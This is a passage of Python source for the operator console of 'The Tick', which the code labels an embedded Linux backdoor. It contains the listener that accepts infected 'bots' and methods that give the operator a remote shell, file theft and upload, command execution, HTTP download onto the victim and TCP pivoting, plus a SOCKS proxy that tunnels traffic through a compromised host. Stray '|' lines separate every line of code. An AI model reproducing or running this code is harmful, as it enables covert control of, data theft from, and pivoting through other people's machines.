# thread will spend most of the time stuck here.
|
|
sock, from_addr = self.listen_sock.accept()
|
|
try:
|
|
|
|
# Uh-oh, someone asked us to stop, so quit now.
|
|
if not self.alive:
|
|
try:
|
|
sock.shutdown(2)
|
|
except Exception:
|
|
pass
|
|
try:
|
|
sock.close()
|
|
except Exception:
|
|
pass
|
|
break
|
|
|
|
# The first 16 bytes that come from the socket
|
|
# must be the bot UUID value. This value is
|
|
# generated randomly by the bot when starting up.
|
|
# It DOES NOT identify the target machine, but
|
|
# rather the bot instance, so multiple instances
|
|
# on the same machine will have different UUIDs.
|
|
uuid = recvall(sock, 16)
|
|
if len(uuid) != 16:
|
|
continue
|
|
uuid = str(UUID(bytes = uuid))
|
|
|
|
# Instance a Bot object for this new connection.
|
|
bot = Bot(sock, uuid, from_addr)
|
|
|
|
# Keep it in the ordered dictionary. This means
|
|
# the dictionary will remember the order in which
|
|
# the bots connected. This is useful for the Console
|
|
# class later on.
|
|
self.bots[uuid] = bot
|
|
|
|
# On error make sure to destroy the accepted socket.
|
|
except:
|
|
try:
|
|
sock.shutdown(2)
|
|
except Exception:
|
|
pass
|
|
try:
|
|
sock.close()
|
|
except Exception:
|
|
pass
|
|
raise
|
|
|
|
# Invoke the callback function to notify
|
|
# a new bot has connected to the C&C.
|
|
try:
|
|
self.callback(self, bot)
|
|
except Exception:
|
|
print_exc()
|
|
|
|
# Print exceptions and continue running.
|
|
# TODO maybe use the console notifications for this?
|
|
except Exception:
|
|
print_exc()
|
|
|
|
# The accept() call is a bit particular in Python,
|
|
# we can't just close the socket and call it a day.
|
|
# This resulted in stubborn listener threads who simply
|
|
# refused to die... extreme measures had to be taken. ;)
|
|
def kill(self):
|
|
"Forcefully kill the background thread."
|
|
|
|
# Trivial case.
|
|
if not self.alive:
|
|
return
|
|
|
|
# Set the flag to false so the thread
|
|
# knows we are asking it to quit.
|
|
self.alive = False
|
|
|
|
# Connect briefly to the listnening port.
|
|
# This will "wake up" the thread stuck
|
|
# in the blocking socket accept() call.
|
|
s = socket()
|
|
try:
|
|
s.connect(("127.0.0.1", self.port))
|
|
finally:
|
|
s.close()
|
|
|
|
##############################################################################
|
|
# How to talk to connected bots.
|
|
|
|
# Class for all bot related exceptions.
|
|
class BotError(RuntimeError):
|
|
"The Tick bot error message."
|
|
|
|
# This decorator will do some basic checks on bot actions.
|
|
# It also catches some error conditions such as the bot being disconnected
|
|
# or the user canceling the operation with Control+C.
|
|
def bot_action(method):
|
|
@wraps(method)
|
|
def wrapper(self, *args, **kwds):
|
|
assert self.alive
|
|
try:
|
|
return method(self, *args, **kwds)
|
|
except KeyboardInterrupt:
|
|
self.alive = False
|
|
try:
|
|
self.sock.shutdown(2)
|
|
except:
|
|
pass
|
|
try:
|
|
self.sock.close()
|
|
except:
|
|
pass
|
|
raise BotError("disconnected")
|
|
except BotError as e:
|
|
if str(e) == "disconnected":
|
|
self.alive = False
|
|
raise
|
|
return wrapper
|
|
|
|
# This class is not exported because I don't see a real reason
|
|
# for a user of this module to manually instance Bot objects.
|
|
class Bot(object):
|
|
"The Tick bot instance."
|
|
|
|
def __init__(self, sock, uuid, from_addr):
|
|
|
|
# True if we can send commands to this instance, False otherwise.
|
|
# False could either mean the bot is dead or the socket is being
|
|
# used for something else, since some commands reuse the C&C socket.
|
|
self.alive = True
|
|
|
|
# The C&C socket to talk to this bot.
|
|
self.sock = sock
|
|
|
|
# The UUID for this bot instance.
|
|
# See Listener.run() for more details.
|
|
self.uuid = uuid
|
|
|
|
# IP address and remote port where the connection came from.
|
|
#
|
|
# The IP address may not be correct if the bot is behind a NAT.
|
|
# You can run the file_exec command to figure out the real IP.
|
|
# Use your imagination. ;)
|
|
#
|
|
# The port is not terribly useful right now, but when we add
|
|
# support for having the bot listen on a port rather than
|
|
# connect to us, this may come in handy.
|
|
self.from_addr = from_addr
|
|
|
|
# Useful for debugging.
|
|
def __repr__(self):
|
|
return "<Bot uuid=%s ip=%s port=%d connected=%s>" % (
|
|
self.uuid, self.from_addr[0], self.from_addr[1],
|
|
"yes" if self.alive else "no"
|
|
)
|
|
|
|
#
|
|
# The remainder of this class are the supported commands.
|
|
# The code is pretty straightforward so I did not comment it.
|
|
#
|
|
|
|
@bot_action
|
|
def system_exit(self):
|
|
self.sock.sendall( build_command(CMD_SYSTEM_EXIT) )
|
|
get_resp_no_data(self.sock)
|
|
self.alive = False
|
|
|
|
@bot_action
|
|
def system_fork(self):
|
|
self.sock.sendall( build_command(CMD_SYSTEM_FORK) )
|
|
return str( UUID( bytes = get_resp_with_data(self.sock) ) )
|
|
|
|
@bot_action
|
|
def system_shell(self):
|
|
self.sock.sendall( build_command(CMD_SYSTEM_SHELL) )
|
|
get_resp_no_data(self.sock)
|
|
self.alive = False
|
|
return self.sock
|
|
|
|
@bot_action
|
|
def file_read(self, remote_file, local_file):
|
|
self.sock.sendall( build_command(CMD_FILE_READ, remote_file) )
|
|
data_len = get_resp_header(self.sock)
|
|
with open(local_file, "wb") as fd:
|
|
copy_stream(self.sock.makefile(), fd, data_len)
|
|
|
|
@bot_action
|
|
def file_write(self, local_file, remote_file):
|
|
with open(local_file, "rb") as fd:
|
|
fd.seek(0, 2)
|
|
file_size = fd.tell()
|
|
fd.seek(0, 0)
|
|
self.sock.sendall( build_command(CMD_FILE_WRITE, remote_file, file_size) )
|
|
copy_stream(fd, self.sock.makefile(), file_size)
|
|
get_resp_no_data(self.sock)
|
|
|
|
@bot_action
|
|
def file_delete(self, remote_file):
|
|
self.sock.sendall( build_command(CMD_FILE_DELETE, remote_file) )
|
|
get_resp_no_data(self.sock)
|
|
|
|
@bot_action
|
|
def file_exec(self, command_line):
|
|
self.sock.sendall( build_command(CMD_FILE_EXEC, command_line) )
|
|
return get_resp_with_data(self.sock)
|
|
|
|
@bot_action
|
|
def file_chmod(self, remote_file, mode_flags = 0o777):
|
|
self.sock.sendall( build_command(CMD_FILE_CHMOD, pack("!H", mode_flags) + remote_file) )
|
|
get_resp_no_data(self.sock)
|
|
|
|
@bot_action
|
|
def http_download(self, url, remote_file):
|
|
self.sock.sendall( build_command(CMD_HTTP_DOWNLOAD, url, remote_file) )
|
|
get_resp_no_data(self.sock)
|
|
|
|
@bot_action
|
|
def dns_resolve(self, domain):
|
|
self.sock.sendall( build_command(CMD_DNS_RESOLVE, domain) )
|
|
response = get_resp_with_data(self.sock)
|
|
##print " ".join("%02x" % ord(x) for x in response) # XXX DEBUG
|
|
answer = []
|
|
while response:
|
|
family, = unpack("!B", response[0])
|
|
if family == AF_INET:
|
|
addr = response[1:5]
|
|
response = response[5:]
|
|
elif family == AF_INET6:
|
|
addr = response[1:17]
|
|
response = response[17:]
|
|
else:
|
|
raise AssertionError()
|
|
answer.append(inet_ntop(family, addr))
|
|
return answer
|
|
|
|
@bot_action
|
|
def tcp_pivot(self, address, port):
|
|
self.sock.sendall( build_command(CMD_TCP_PIVOT, build_pivot_struct(address, port)) )
|
|
get_resp_no_data(self.sock)
|
|
self.alive = False
|
|
return self.sock
|
|
|
|
##############################################################################
|
|
# Various background daemons for the console UI.
|
|
|
|
# Daemon for remote shells.
|
|
class RemoteShell(Thread):
|
|
|
|
def __init__(self, sock):
|
|
|
|
# Socket connected to a remote shell.
|
|
self.sock = sock
|
|
|
|
# Flag we'll use to tell the background thread to stop.
|
|
self.alive = True
|
|
|
|
# Call the parent class constructor.
|
|
super(RemoteShell, self).__init__()
|
|
|
|
# Set the thread as a daemon so way when the
|
|
# main thread dies, this thread will die too.
|
|
self.daemon = True
|
|
|
|
# This method is invoked in a background thread.
|
|
# It forwards everything coming from the remote shell to standard output.
|
|
def run(self):
|
|
try:
|
|
while self.alive:
|
|
buffer = self.sock.recv(1024)
|
|
if not buffer:
|
|
break
|
|
sys.stdout.write(buffer)
|
|
except:
|
|
pass
|
|
finally:
|
|
try:
|
|
self.sock.shutdown(2)
|
|
except Exception:
|
|
pass
|
|
try:
|
|
self.sock.close()
|
|
except Exception:
|
|
pass
|
|
|
|
# This method is invoked from the main thread.
|
|
# It forwards everything from standard input to the remote shell.
|
|
# It launches the background thread and kills it before returning.
|
|
# Control+C is caught within this function, which causes the
|
|
# remote shell to be stopped without killing the console.
|
|
def run_parent(self):
|
|
self.start()
|
|
try:
|
|
while self.alive:
|
|
buffer = sys.stdin.readline()
|
|
if not buffer:
|
|
break
|
|
self.sock.sendall(buffer)
|
|
except: # DO NOT change this bare except: line
|
|
pass # I don't care what PEP8 has to say :P
|
|
finally:
|
|
self.alive = False
|
|
try:
|
|
self.sock.shutdown(2)
|
|
except Exception:
|
|
pass
|
|
try:
|
|
self.sock.close()
|
|
except Exception:
|
|
pass
|
|
self.join()
|
|
|
|
# Pivoting daemon.
|
|
class TCPForward(Thread):
|
|
|
|
def __init__(self, src_sock, dst_sock):
|
|
|
|
# Keep the source and destination sockets.
|
|
# This class only forwards in one direction,
|
|
# so you have to instance it twice and swap
|
|
# the source and destination sockets.
|
|
self.src_sock = src_sock
|
|
self.dst_sock = dst_sock
|
|
|
|
# Flag we'll use to tell the background thread to stop.
|
|
self.alive = False
|
|
|
|
# Call the parent class constructor.
|
|
super(TCPForward, self).__init__()
|
|
|
|
# Set the thread as a daemon so way when the
|
|
# main thread dies, this thread will die too.
|
|
self.daemon = True
|
|
|
|
# This method is invoked in a background thread.
|
|
# It forwards everything from the source socket
|
|
# into the destination socket. If either socket
|
|
# dies the other is closed and the thread dies.
|
|
def run(self):
|
|
self.alive = True
|
|
try:
|
|
while self.alive:
|
|
buffer = self.src_sock.recv(65535)
|
|
if not buffer:
|
|
break
|
|
self.dst_sock.sendall(buffer)
|
|
except:
|
|
pass
|
|
finally:
|
|
self.kill()
|
|
|
|
# Forcefully kill the background thread.
|
|
# This one is easier than the others. :)
|
|
def kill(self):
|
|
if not self.alive:
|
|
return
|
|
self.alive = False
|
|
try:
|
|
self.src_sock.shutdown(2)
|
|
except Exception:
|
|
pass
|
|
try:
|
|
self.src_sock.close()
|
|
except Exception:
|
|
pass
|
|
try:
|
|
self.dst_sock.shutdown(2)
|
|
except Exception:
|
|
pass
|
|
try:
|
|
self.dst_sock.close()
|
|
except Exception:
|
|
pass
|
|
|
|
# SOCKS proxy daemon.
|
|
class SOCKSProxy(Thread):
|
|
|
|
def __init__(self, listener, uuid, bind_addr = "127.0.0.1", port = 1080, username = "", password = ""):
|
|
|
|
# The listener that requested to proxy through a bot.
|
|
self.listener = listener
|
|
|
|
# The UUID of the bot we'll use to route proxy requests.
|
|
self.uuid = uuid
|
|
|
|
# The address to bind to when listening for SOCKS requests.
|
|
# Normally 0.0.0.0 for a shared proxy, 127.0.0.1 for private.
|
|
self.bind_addr = bind_addr
|
|
|
|
# The port to listen to for incoming SOCKS proxy requests.
|
|
self.port = port
|
|
|
|
# Optional username and password for the SOCKS proxy.
|
|
self.username = username
|
|
self.password = password
|
|
if (username or password) and not (username and password):
|
|
raise ValueError("Must specify both username and password or neither")
|
|
|
|
# Flag we'll use to tell the background thread to stop.
|
|
self.alive = False
|
|
|
|
# Listening socket for incoming SOCKS proxy requests.
|
|
# Will be created and destroyed inside the run() method.
|
|
self.listen_sock = None
|
|
|
|
# This is where we'll keep all the TCP forwarders.
|
|
self.bouncers = []
|
|
|
|
# Call the parent class constructor.
|
|
super(SOCKSProxy, self).__init__()
|
|
|
|
# Set the thread as a daemon so way when the
|
|
# main thread dies, this thread will die too.
|
|
self.daemon = True
|
|
|
|
# This method is invoked in a background thread.
|
|
def run(self):
|
|
|
|
# It's aliiiiiiive! \o/
|
|
self.alive = True
|
|
|
|
try:
|
|
|
|
# Listen on the specified port.
|
|
self.listen_sock = socket()
|
|
self.listen_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
|
|
self.listen_sock.bind((self.bind_addr, self.port))
|
|
self.listen_sock.listen(5)
|
|
|
|
# Loop until they ask us to stop.
|
|
while self.alive:
|
|
|
|
# Accept incoming connections.
|
|
# TODO add a console notification here?
|
|
accept_sock = self.listen_sock.accept()[0]
|
|
|
|
# Serve each request one by one.
|
|
# This is a bit crappy because, in theory, someone could
|
|
# connect a socket here and just wait, blocking the whole
|
|
# thing. But I don't think we should worry about that.
|
|
# Normal requests won't block because we'll spawn a thread
|
|
# for each once the tunnel has been established.
|
|
# On error, destroy the socket.
|
|
try:
|
|
self.serve_socks_request(accept_sock)
|
|
except:
|
|
try:
|
|
accept_sock.shutdown(2)
|
|
except Exception:
|
|
pass
|
|
try:
|
|
accept_sock.close()
|
|
except Exception:
|
|
pass
|
|
if self.alive:
|
|
#print_exc() # XXX DEBUG
|
|
continue
|
|
raise
|
|
|
|
# Kill the proxy on error.
|
|
except Exception:
|
|
#if self.alive:
|
|
# print_exc() # XXX DEBUG
|
|
# try:
|
|
# self.kill()
|
|
# except Exception:
|
|
# print_exc() # XXX DEBUG
|
|
#else:
|
|
try:
|
|
self.kill()
|
|
except Exception:
|
|
pass
|
|
|
|
# Make sure to clean up on exit.
|
|
finally:
|
|
|
|
# Not alive anymore. :sadface:
|
|
self.alive = False
|
|
|
|
# Destroy the listening socket.
|
|
try:
|
|
self.listen_sock.shutdown(2)
|
|
except Exception:
|
|
pass
|
|
try:
|
|
self.listen_sock.close()
|
|
except Exception:
|
|
pass
|
|
|
|
# Process each SOCKS proxy request.
|
|
# This method runs in a background thread and may spawn more threads.
|
|
# Caller is assumed to destroy the socket after the call.
|
|
def serve_socks_request(self, sock):
|
|
|
|
# This blog post helped me a lot :)
|
|
# https://rushter.com/blog/python-socks-server/
|
|
|
|
# First header is the version and acceptable auth methods.
|
|
# We only support SOCKS 5 and will ignore the auth. :P
|
|
request = recvall(sock, 2)
|
|
if len(request) != 2:
|
|
return # fail silently
|
|
version, num_auth = unpack("!BB", request)
|
|
if version != 5:
|
|
return # prevents easy fingerprinting
|
|
#sock.sendall(pack("!BB", 5, 0xff))
|
|
#raise RuntimeError("Bad SOCKS client")
|
|
methods = recvall(sock, num_auth)
|
|
|
|
# If we have a username and password, ask for them.
|
|
# If we don't then just let them it. :)
|
|
# If the client insists on giving us a password
|
|
# anyway, just accept anything they send us.
|
|
# TODO perhaps notify the console when this happens?
|
|
if (self.username and self.password) or "\x00" not in methods:
|
|
sock.sendall(pack("!BB", 5, 2))
|
|
request = recvall(sock, 2)
|
|
if not request:
|
|
return # fail silently
|
|
version, ulen = unpack("!BB", request)
|
|
assert version == 1
|
|
uname = recvall(sock, ulen)
|
|
plen, = unpack("!B", recvall(sock, 1))
|
|
passwd = recvall(sock, ulen)
|
|
if self.username and self.password and (self.username != uname or self.password != passwd):
|
|
sock.sendall(pack("!BB", 5, 0xff))
|
|
# TODO perhaps notify the console when this happens?
|
|
#raise RuntimeError("SOCKS authentication failure, user: %r, pass: %r" % (uname, passwd))
|
|
return # fail silently
|
|
sock.sendall(pack("!BB", 1, 0))
|
|
else:
|
|
sock.sendall(pack("!BB", 5, 0))
|
|
|
|
# If all went well we should get a proxy request now.
|
|
# We only support CONNECT requests for IPv4.
|
|
request = recvall(sock, 4)
|
|
if not request:
|
|
return # fail silently
|
|
version, cmd, _, atyp = unpack("!BBBB", request)
|
|
if version != 5 or cmd != 1 or atyp not in (1, 3):
|
|
sock.sendall(pack("!BBBBIH", 5, 5, 0, atyp, 0, 0))
|
|
return
|
|
#raise RuntimeError("Unsupported SOCKS request")
|
|
if atyp == 1:
|
|
addr = inet_ntoa(recvall(sock, 4))
|
|
port, = unpack("!H", recvall(sock, 2))
|
|
elif atyp == 3:
|
|
name_len, = unpack("!B", recvall(sock, 1))
|
|
name = recvall(sock, name_len)
|
|
port, = unpack("!H", recvall(sock, 2))
|
|
else:
|
|
raise AssertionError("wtf")
|
|
|
|
# Try to get the bot now.
|
|
# If we can't find it, reject the connection attempt.
|
|
try:
|
|
bot = self.listener.bots[self.uuid]
|
|
except Exception:
|
|
sock.sendall(pack("!BBBBIH", 5, 5, 0, atyp, 0, 0))
|
|
raise
|
|
|
|
# Do a DNS resolution remotely if needed.
|
|
if atyp == 3:
|
|
try:
|
|
addr = None
|
|
for x in bot.dns_resolve(name):
|
|
try:
|
|
inet_aton(x)
|
|
addr = x
|
|
break
|
|
except error:
|
|
continue
|
|
if not addr:
|
|
raise RuntimeError("could not resolve %s to ipv4 address" % name)
|
|
except Exception:
|
|
sock.sendall(pack("!BBBBIH", 5, 5, 0, atyp, 0, 0))
|
|
raise
|
|
|
|
# Do a TCP pivot on the bot.
|
|
try:
|
|
bot_sock = bot.tcp_pivot(addr, port)
|
|
except Exception:
|
|
sock.sendall(pack("!BBBBIH", 5, 5, 0, atyp, 0, 0))
|
|
raise
|
|
|
|
try:
|
|
|
|
# Tell the client the connection was successful.
|
|
sock.sendall(pack("!BBBB", 5, 0, 0, 1) + inet_aton(addr) + pack("!H", port))
|
|
|
|
# Launch the TCP forwarders now.
|
|
bouncer_1 = TCPForward(sock, bot_sock)
|
|
bouncer_2 = TCPForward(bot_sock, sock)
|
|
bouncer_1.start()
|
|
bouncer_2.start()
|
|
self.bouncers.append(bouncer_1)
|
|
self.bouncers.append(bouncer_2)
|
|
|
|
# Clean up the pivoted connection on exception.
|
|
except Exception:
|
|
try:
|
|
bot_sock.shutdown(2)
|
|
except Exception:
|
|
pass
|
|
try:
|
|
bot_sock.close()
|
|
except Exception:
|
|
pass
|
|
raise
|
|
|
|
# Forcefully kill the background thread.
|
|
# The accept() call is a bit particular in Python,
|
|
# we can't just close the socket and call it a day.
|
|
# This resulted in stubborn listener threads who simply
|
|
# refused to die... extreme measures had to be taken. ;)
|
|
def kill(self):
|
|
|
|
# Trivial case.
|
|
if not self.alive:
|
|
return
|
|
|
|
# Set the flag to false so the thread
|
|
# knows we are asking it to quit.
|
|
self.alive = False
|
|
|
|
try:
|
|
|
|
# Connect briefly to the listnening port.
|
|
# This will "wake up" the thread stuck
|
|
# in the blocking socket accept() call.
|
|
s = socket()
|
|
try:
|
|
s.connect(("127.0.0.1", self.port))
|
|
finally:
|
|
s.close()
|
|
|
|
finally:
|
|
|
|
# Kill all the TCP forwarders too.
|
|
while self.bouncers:
|
|
bouncer = self.bouncers.pop()
|
|
try:
|
|
bouncer.kill()
|
|
except Exception:
|
|
print_exc() # XXX DEBUG
|
|
pass
|
|
|
|
##############################################################################
|
|
# The Tick console. This is the one that launches everything else.
|
|
|
|
# Based on the standard cmd module, but with various hacks inside.
|
|
# And with pretty colors! Colorrrrrrssssssssssssssssssss!
|
|
class Console(Cmd):
|
|
"Interactive text console to manage The Tick bots."
|
|
|
|
# Header for help page.
|
|
doc_header = 'Available commands (type help * or help <command>)'
|
|
|
|
def __init__(self, args = ()):
|
|
|
|
# This member will contain the currently selected bot.
|
|
self.current = None
|
|
|
|
# This is a set of previously seen bot UUIDs.
|
|
# We use this to avoid notifying the user for bot reconnections,
|
|
# since we only want to show new bots connecting to the C&C.
|
|
# Reconnections may happen sporadically and just clutter the screen.
|
|
self.known_bots = set()
|
|
|
|
# These are the currently running SOCKS proxies.
|
|
# Keys are port numbers, values are SOCKSProxy objects.
|
|
# See the do_proxy() method for more details.
|
|
self.proxies = {}
|
|
|
|
# The TCP port listener for bots will be here.
|
|
self.listener = None
|
|
|
|
# This is the list of queued notifications.
|
|
# Notifications come from a background thread and when possible
|
|
# they are shown in real time, but when not they are queued here.
|
|
self.notifications = []
|
|
|
|
# This flag is related to the notifications.
|
|
# We'll use it to know whether it's safe to print them directly
|
|
# or we should wait until a better time to do it. Specifically,
|
|
# we will only print notifications in real time if the main thread
|
|
# is blocked waiting for user input, and queue them in any other case.
|
|
self.inside_prompt = False
|
|
|
|
# All the supported command line switches go here.
|
|
parser = ArgumentParser(formatter_class=ColorHelpFormatter,
|
|
prog=Fore.GREEN+Style.BRIGHT+os.path.basename(sys.argv[0])+Style.RESET_ALL,
|
|
description="Embedded Linux Backdoor by Mario Vilas (NCC Group)")
|
|
parser.add_argument("--version", action="version",
|
|
version="The Tick, by Mario Vilas (NCC Group), version " + Fore.YELLOW + "0.1" + Style.RESET_ALL)
|
|
parser.add_argument("-b", "--bind", dest="bind_addr", default="0.0.0.0",
|
|
metavar=Fore.BLUE+Style.BRIGHT+"ADDRESS"+Style.RESET_ALL,
|
|
help="IP address to bind all the listeners to [default: "+Fore.YELLOW+"0.0.0.0"+Style.RESET_ALL+"]")
|
|
parser.add_argument("-p", "--port", type=int, default=5555,
|
|
metavar=Fore.BLUE+Style.BRIGHT+"PORT"+Style.RESET_ALL,
|
|
help="Port to bind the TCP listener to [default: "+Fore.YELLOW+"5555"+Style.RESET_ALL+"]")
|
|
parser.add_argument("--no-color", action="store_true", default=False,
|
|
help=("Disable the use of ANSI escape sequences (i.e. pretty "+
|
|
Fore.RED+"c"+Style.BRIGHT+"o"+Fore.YELLOW+"l"+Fore.GREEN+"o"+Fore.BLUE+"r"+Fore.MAGENTA+"s"+Style.RESET_ALL+
|
|
" and other niceties)"))
|
|
parser.add_argument("--pro", action="store_true", default=False,
|
|
help="Replace the 0ldsch00l bloody banner with a cleaner, more sober banner,"\
|
|
" one more suitable for a pentesting report from an infosec professional"\
|
|
" such as yourself. Yes, this is who you are now. Accept it.")
|
|
|
|
# Try to adjust the help text to the console size.
|
|
# On error just ignore it and go with the default.
|
|
try:
|
|
width = int(check_output('stty size 2>/dev/null', shell=True).split(' ')[1])
|
|
if width > 160: width = 140
|
|
elif width < 80: width = 80
|
|
os.environ["COLUMNS"] = str(width)
|
|
except Exception:
|
|
pass
|
|
|
|
# Parse the command line arguments.
|
|
self.args = parser.parse_args(args)
|
|
|
|
# Show either the fun or the boring banner.
|
|
self.use_boring_banner = self.args.pro
|
|
|
|
# Call the parent class constructor.
|
|
Cmd.__init__(self)
|
|
|
|
# Context manager to ensure proper cleanup.
|
|
# Launching the daemons is done here to ensure it's mandatory.
|
|
def __enter__(self):
|
|
|
|
# Fire up the TCP C&C listener.
|
|
self.listener = Listener(self.notify_new_bot, self.args.bind_addr, self.args.port)
|
|
self.listener.start()
|
|
|
|
# Comply with the context managers protocol.
|
|
return self
|
|
|
|
# Context manager to ensure proper cleanup.
|
|
# This will kill all the background daemons.
|
|
def __exit__(self, *args):
|
|
try:
|
|
for proxy in self.proxies.values():
|
|
try:
|
|
proxy.kill()
|
|
except Exception:
|
|
print_exc()
|
|
except Exception:
|
|
print_exc()
|
|
try:
|
|
self.listener.kill()
|
|
except Exception:
|
|
print_exc()
|
|
|
|
# This method is called by the listener whenever a new bot connects.
|
|
# It will show a message to the user right below the command prompt.
|
|
# Note that this method will be invoked from a background thread.
|
|
def notify_new_bot(self, listener, bot):
|
|
|
|
# Notifications for reconnecting bots are skipped because they're
|
|
# not very useful except for debugging.
|
|
if bot.uuid not in self.known_bots:
|
|
|
|
# Prepare the notification text.
|
|
index = listener.bots.keys().index(bot.uuid)
|
|
text = "Bot %d [%s] connected from %s" % (index, bot.uuid, bot.from_addr[0])
|
|
text = Fore.BLUE + Style.BRIGHT + text + Style.RESET_ALL
|
|
|
|
# If the main thread is blocked waiting at the prompt,
|
|
# do some ANSI escape codes magic to insert the notification text on screen.
|
|
# Note that we cannot use this trick if --no-color was specified.
|
|
# (I mean, we could, but what if the reason the colors were turned off
|
|
# was that the C&C was not being run in a console with a proper tty?)
|
|
if self.inside_prompt and ANSI_ENABLED:
|
|
buf_bkp = readline.get_line_buffer()
|
|
sys.stdout.write("\033[s\033[0G\033[2K" + text + "\n")
|
|
sys.stdout.write(self.prompt.replace("\x01", "").replace("\x02", "") + buf_bkp + "\033[u\033[1B")
|
|
readline.redisplay()
|
|
|
|
# If we are not blocked at the prompt, better not write now!
|
|
# We would be messing up the output of some command.
|
|
# We'll queue the notification instead to be shown later.
|
|
else:
|
|
self.notifications.append(text)
|
|
|
|
# Remember we've seen this bot so we don't notify again.
|
|
self.known_bots.add(bot.uuid)
|
|
|
|
# Hook the precmd event to know when we're out of the command prompt.
|
|
def precmd(self, line):
|
|
try:
|
|
|
|
# If the currently selected bot is not alive, deselect it automatically.
|
|
# This may happen for example if the bot dies after executing a command,
|
|
# the connection is dropped unexpectedly, or the command was one of those
|
|
# that reuse the C&C socket to do something else.
|
|
if self.current is not None and (not self.current.alive or self.is_bot_busy()):
|
|
self.current = None
|
|
|
|
# Set the flag to indicate we're NOT blocked at the prompt.
|
|
self.inside_prompt = False
|
|
|
|
# Catch all exceptions, show the traceback and continue.
|
|
except Exception:
|
|
print_exc()
|
|
|
|
# Don't forget to return this or we can't run commands!
|
|
return line
|
|
|
|
# Hook the precmd event to know when we're in the command prompt.
|
|
# This is also a good time to issue the queued notifications.
|
|
def postcmd(self, stop, line):
|
|
try:
|
|
|
|
# If the currently selected bot is not alive, deselect it automatically.
|
|
# This may happen for example if the bot dies after executing a command,
|
|
# the connection is dropped unexpectedly, or the command was one of those
|
|
# that reuse the C&C socket to do something else.
|
|
if self.current is not None and (not self.current.alive or self.is_bot_busy()):
|
|
self.current = None
|
|
|
|
# If we have queued notifications, show them now.
|
|
while self.notifications:
|
|
print(self.notifications.pop(0))
|
|
|
|
# Set the flag to indicate we're blocked at the prompt.
|
|
self.inside_prompt = True
|
|
|
|
# Catch all exceptions, show the traceback and continue.
|
|
except Exception:
|
|
print_exc()
|
|
|
|
# Don't forget to return this or we can't quit!
|
|
return stop
|
|
|
|
# Hook the preloop event because otherwise we don't
|
|
# find out when the prompt is shown for the first time.
|
|
def preloop(self):
|
|
try:
|
|
|
|
# If the currently selected bot is not alive, deselect it automatically.
|
|
# This may happen for example if the bot dies after executing a command,
|
|
# the connection is dropped unexpectedly, or the command was one of those
|
|
# that reuse the C&C socket to do something else.
|
|
if self.current is not None and (not self.current.alive or self.is_bot_busy()):
|
|
self.current = None
|
|
|
|
# Set the flag to indicate we're blocked at the prompt.
|
|
self.inside_prompt = True
|
|
|
|
# Catch all exceptions, show the traceback and continue.
|
|
except Exception:
|
|
print_exc()
|
|
|
|
# Default behaviour for the base class is to repeat the last command if
|
|
# a blank line is given. This is quite dangerous so we're disabling it.
|
|
def emptyline(self):
|
|
return ""
|
|
|
|
# This property generates the banner.
|
|
@property
|
|
def intro(self):
|
|
|
|
# Prepare the dynamic part of the banner.
|
|
listening_on = ("Listening on: %s:%d" % (self.listener.bind_addr, self.listener.port))
|
|
|
|
# Boring banner :(
|
|
if self.use_boring_banner:
|
|
return (
|
|
BORING_BANNER +
|
|
" Embedded Linux Backdoor\nby Mario Vilas (NCC Group)\n\n" +
|
|
Fore.GREEN + listening_on + Style.RESET_ALL
|
|
)
|
|
|
|
# Fun banner :)
|
|
return (
|
|
FUN_BANNER +
|
|
Style.BRIGHT +
|
|
" Embedded Linux Backdoor\n" + Style.NORMAL +
|
|
" by Mario Vilas (NCC Group)\n\n" +
|
|
Fore.GREEN + listening_on + Style.RESET_ALL
|
|
)
|
|
|
|
# This property generates the command prompt.
|
|
@property
|
|
def prompt(self):
|
|
|
|
# If the currently selected bot is not alive, deselect it automatically.
|
|
# This may happen for example if the bot dies after executing a command,
|
|
# the connection is dropped unexpectedly, or the command was one of those
|
|
# that reuse the C&C socket to do something else.
|
|
if self.current is not None and (not self.current.alive or self.is_bot_busy()):
|
|
self.current = None
|
|
|
|
# If no bot is selected, show the corresponding prompt.
|
|
if self.current is None:
|
|
return "\x01" + Fore.RED + "\x02" + "[No bot selected] " + "\x01" + Style.RESET_ALL + "\x02"
|
|
|
|
# If a bot is selected, show its info in the prompt.
|
|
bot = self.current
|
|
index = self.listener.bots.keys().index(bot.uuid)
|
|
addr = bot.from_addr[0]
|
|
return "\x01" + Fore.GREEN + Style.BRIGHT + "\x02" + ("[Bot %d: %s] " % (index, addr)) + "\x01" + Style.RESET_ALL + "\x02"
|
|
|
|
# Helper function to tell if a bot is busy.
|
|
# If no bot is given, the currently selected bot is tested.
|
|
def is_bot_busy(self, bot = None):
|
|
if bot is None:
|
|
bot = self.current
|
|
if bot is None:
|
|
return False
|
|
uuid = bot.uuid
|
|
for x in self.proxies.values():
|
|
if x.uuid == uuid:
|
|
return True
|
|
return False
|
|
|
|
#
|
|
# The implementation for each command follows.
|
|
#
|
|
|
|
def do_help(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mhelp\x1b[0m
|
|
\x1b[32m\x1b[1mhelp\x1b[0m \x1b[34m\x1b[1m*\x1b[0m
|
|
\x1b[32m\x1b[1mhelp\x1b[0m <\x1b[34m\x1b[1mcommand\x1b[0m> [\x1b[34m\x1b[1mcommand\x1b[0m...]
|
|
|
|
Without arguments, shows the list of available commands.
|
|
With arguments, shows the help for one or more commands.
|
|
Use "\x1b[34m\x1b[1mhelp *\x1b[0m" to show help for all commands at once.
|
|
The question mark "\x1b[34m\x1b[1m?\x1b[0m" can be used as an alias for "\x1b[34m\x1b[1mhelp\x1b[0m".\n"""
|
|
if not line.strip():
|
|
Cmd.do_help(self, line)
|
|
else:
|
|
commands = split(line, comments=True)
|
|
if commands == ["*"]:
|
|
commands = self.get_names()
|
|
commands = [ x[3:] for x in commands if x.startswith("do_") ]
|
|
commands.sort()
|
|
last = len(commands) - 1
|
|
index = 0
|
|
for cmd in commands:
|
|
Cmd.do_help(self, cmd)
|
|
if index < last:
|
|
print(Fore.RED + Style.BRIGHT + ("-" * 79) + Style.RESET_ALL)
|
|
index += 1
|
|
|
|
def do_exit(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mexit\x1b[0m
|
|
|
|
Exit the command interpreter.
|
|
This command takes no arguments.\n"""
|
|
|
|
# Parse the arguments, on error show help.
|
|
if line.strip():
|
|
self.onecmd("help exit")
|
|
return
|
|
|
|
# Quit the command intepreter.
|
|
# The context manager will take care of cleaning up.
|
|
return True
|
|
|
|
def do_clear(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mclear\x1b[0m
|
|
|
|
Clear the screen.
|
|
